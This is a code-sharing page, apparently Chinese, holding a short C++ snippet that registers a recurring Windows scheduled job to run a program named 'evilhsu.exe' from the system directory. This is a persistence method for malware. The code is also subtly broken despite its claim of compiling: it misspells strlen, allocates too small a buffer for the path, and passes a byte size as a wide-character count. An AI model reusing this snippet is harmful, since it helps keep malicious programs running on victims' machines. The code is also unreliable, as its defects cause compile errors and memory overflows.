📄 添加任务计划代码.txt
字号:
//////////////////代码测试N小时,呵呵~~在硬盘已经睡了好久////// VC++ 6.0 + SP6编译成功/////////
#include <stdio.h>
#include <windows.h>
#include <lmcons.h>
#include <lmat.h>
#pragma comment(lib,"NETAPI32.LIB")
void Jobadd()
{
DWORD JobId;
AT_INFO ai;
char *filepath;
long Len;
char RootPath[MAX_PATH];
WCHAR szFilePath[256];
GetSystemDirectory(RootPath,MAX_PATH);
filepath=new char[strlen(RootPath)+11];
strcpy(filepath,RootPath);
strcat(filepath,"\\evilhsu.exe");
memset(&ai,0,sizeof(ai));
Len=MultiByteToWideChar(CP_ACP,0,filepath,strle(filepath),szFilePath,sizeof(szFilePath));
szFilePath[Len] = '\0';
ai.Command=szFilePath;
ai.DaysOfMonth=0;
ai.DaysOfWeek=0x60;
ai.Flags=JOB_RUN_PERIODICALLY;
ai.JobTime=11*60*60*1000+50*60*1000;
NetScheduleJobAdd(NULL,LPBYTE(&ai),&JobId);
}
void main()
{
Jobadd();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -